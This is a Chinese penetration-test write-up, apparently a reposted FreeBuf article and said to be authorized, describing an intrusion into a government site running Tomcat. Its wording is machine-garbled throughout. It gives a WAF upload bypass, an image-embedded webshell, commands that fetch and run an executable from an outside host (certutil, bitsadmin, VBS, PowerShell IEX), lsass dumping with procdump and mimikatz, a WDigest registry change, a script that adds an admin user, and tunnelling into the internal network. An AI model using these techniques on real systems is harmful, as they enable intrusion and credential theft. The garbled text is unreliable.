一次授权渗透实战
  • 时间:2020-01-14

好久没有收拾实战文章了,刚好这周项目上有一个方针折腾了两天时刻,记载共享下其间的心路历程。

某政务网站

服务器–windows

数据库–不知道

中间件–Tomcat

开发言语–java

未运用CDN

存在waf–品种不知道

其它缝隙的发掘进程不再描绘,直奔权限,发现方针存在一处上传功用。

上传成功后回来取件码。

运用取件码进行函件查询。

点击附件为下载链接。

通过对下载链接进行测验,发现报错时泄漏了网站的绝对路径。

进过几回测验,成功拜访到上传的图片。

网站waf对上传文件的后缀名进行了白名单约束。

依据以往的bypass经历,开端手撕waf。

寻觅waf的规划缺点来绕过waf的上传约束,

常用的几种办法有:

删去实体里边的Conten-Type字段

删去Content-Disposition字段里的空格

修正Content-Disposition字段值的大小写

文件名处回车

等等等等。

总结一下思路就是在不影响正常上传功用的前提下,测验改动数据包的部分格局内容,绕过waf的校验。

通过屡次测验,当Content-Disposition字段修正为Content+Disposition时能够绕过waf,能够看到上传功用的代码未对后缀名做约束,存在恣意文件上传缝隙。

成功对文件后缀名进行了绕过。

直接上传免杀还能够的冰蝎马。

上传失利,再次被waf阻拦,发现还存在文件内容校验,测验运用平常堆集的免杀马。

通过测验免杀马悉数阵亡,无一例外。

当运用java的输出函数时也会被waf检测阻拦。

第一次碰到连输出helloword都拦的waf。

通过屡次测验,waf对绝大部分的java函数都进行了阻拦。

这种情况下,首要想到的处理方案是对木马进行加密。

在网上查找相关的材料,发现了LandGrey大佬的一个unicode编码的菜刀马。 传送门

能够上传成功。

有必要要运用caidao-20160622的版别进行衔接,但是。

菜刀流量被waf阻拦了。

想到了2种处理方案。

1、运用内容加密的大马,例如下图的php大马的这种加解密。

2、菜刀马流量中转,上传中转菜刀马,合作本地加解密脚本文件,对数据进行中转加密传输。

中转Webshell 绕过安全狗

怎么办网上关于jsp加密大马和jsp中转木马研讨的文章数量有限,再加上自己不明白java开发,最终以失利告终。

在这个学习测验的进程看到了不少大佬优异的文章,学习到了许多相关常识。如:

菜刀HTTP流量中转署理过WAF

CaidaoMitmProxy:根据HTTP署理中转菜刀过WAF

感兴趣的小伙伴能够研讨下。

内容加密bypass失利了,只能换一个思路。

测验对文件内容进行混杂,绕过waf。

首要想到的是图片马,测验把木马躲藏到图片源码中,绕过waf。

在这个进程中也踩了一些坑,有些图片源码包括特别字符会和木马的代码发生冲突,因而需求特别处理过的图片才干确保正常解析。

运用notepad++翻开准备好的图片,把jsp马刺进到图片源码中。

更改为jsp后缀进行上传。

上传失利,猜想可能是混杂的力度不行,未起到混杂的意图。

开端增加文件内容的长度,仿制图片的一段源码,重复的粘贴到木马的前后方位,通过若干次测验,回来了上传成功,且只能成功一次,下

次上传需求从头混杂,莫非waf还自带了机器学习?

拜访webshell地址,文件解析成功,成功拿下了方针的webshell,权限为最高的administrator权限。

上传的为CMD马,只能履行体系指令,方针通互联网,下一步的思路是:运用指令直接下载cs马或许msf马履行。

运用指令下载免杀exe到本地履行。

cmd下常用的下载指令有三种,引荐运用证书下载指令,免杀性强,其它两种简单被防护阻拦。

证书下载

证书下载

certutil.exe -urlcache -split -f http://x.x.x.x/1.exe D:/1.exe 

vbs下载

echo set a=createobject:set w=createobject:w.open^ get^ ,wsh.arguments,0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments,2 downfile.vbs

cscript downfile.vbs http://x.x.x.x/1.exe D:\1.ex

bitsadmin指令下载

bitsadmin /transfer n http://x.x.x.x/1.exe D:\1.exe

在能够调用powershell的情况下,引荐运用powershell对木马文件进行下载履行,长处是免杀可操作性强,无落地文件。

这儿给出我之前发布的免杀powershell指令

powershell.exe $a1='IEX .downl';$a2='oadstring)';$a3= $a1,$a2 IEX 

免杀处理的办法有许多,能够参阅我之前发布的文章中。 攻防演练对抗赛之初识文件垂钓

也能够重视咱们Tide安全团队的大众号,检查免杀系列文章。

上传后成功履行,cs成功接纳到会话信息。

测验激活guest用户,参加管理员组失利。

存在服务器防护需求绕过。

服务器为server 2008,默许情况下,能够运用Procdump+Mimikatz来读取管理员的明文暗码。

Procdump由微软官方供给,绝大多数情况下不会被杀。

https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump

分为2步:

1、导出lsass.exe进程

procdump64.exe -accepteula -ma lsass.exe lsass.dmp

2、运用mimikatz破解导出的文件lsass.dmp

mimikatz.exe sekurlsa::minidump lsass.dmp sekurlsa::logonPasswords full exit

需求上传procdump64.exe生成lsass.dmp文件,下载后本地读取暗码。

关于server 2012以上,或许打了补丁的操作体系,无法直接读取明文,有必要修正注册表,重启服务器等候管理员登录才干获取到明文暗码。

reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\ /v UseLogonCredential /t REG_DWORD /d 1

还能够挑选履行powershell指令增加用户。

运用Get-ExecutionPolicy 检查当时履行策略为Restricted

运用Set-ExecutionPolicy 设置履行的策略为RemoteSigned

相关powershell指令可检查CSeroad大佬的文章。 传送门

powershell的免杀性强,大多数情况下都能够履行成功。

上传增加用户的ps1文件到服务器中,调用powershell履行,此办法能够绕过大部分杀软,到达免杀加用户到管理员组的意图。

powershell 1.ps1
$computer=Get-WMIObject Win32_ComputerSystem
$computername = $computer.name
$username = 'admin'
$password = '1234qwer..' 
$desc = 'Local admin account'
$computer = [ADSI] WinNT://$computername,computer 
$user = $computer.Create
$user.SetPassword
$user.Setinfo
$user.description = $desc
$user.setinfo
$user.UserFlags = 65536
$user.SetInfo
$group = [ADSI]
$group.add

增加用户成功后。

运用cs自带的socks4地道。

本机装备Proxifer。

成功把本机带入方针内网。

翻开远程桌面功用,输入对方的内网ip和远程桌面端口,输入用户名暗码。

登录成功,方针安装了服务器安全狗和企业版金山毒霸,到此浸透完毕。

因为不明白java开发,导致前期的getshell耽误了过长时刻,未处理的问题,后边还需求再学习。

浸透进程中走了许多弯路,但也学习到了许多新的常识。

*本文原创作者:许诺,本文归于FreeBuf原创奖赏方案,未经许可制止转载


客服QQ: 点击这里
地址: 客服QQ:
Copyright © 2018 凯发娱乐手机客户端凯发娱乐手机客户端-凯发娱乐手机端 All Rights Reserved

服务时间:7X10小时